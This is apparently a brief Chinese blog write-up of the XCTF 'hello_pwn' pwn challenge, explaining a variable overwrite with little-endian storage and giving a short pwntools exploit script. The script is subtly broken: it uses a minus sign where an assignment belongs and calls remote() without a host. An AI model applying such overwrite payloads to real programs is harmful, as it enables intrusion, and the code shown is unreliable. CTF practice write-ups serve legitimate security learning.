攻防世界pwn-hello_pwn


参数覆盖 小端存储

两个函数参数相差4

from pwn import*
sh = remote()
payload - b'a'*4 + b'aaun'
sh.sendline(payload)
sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论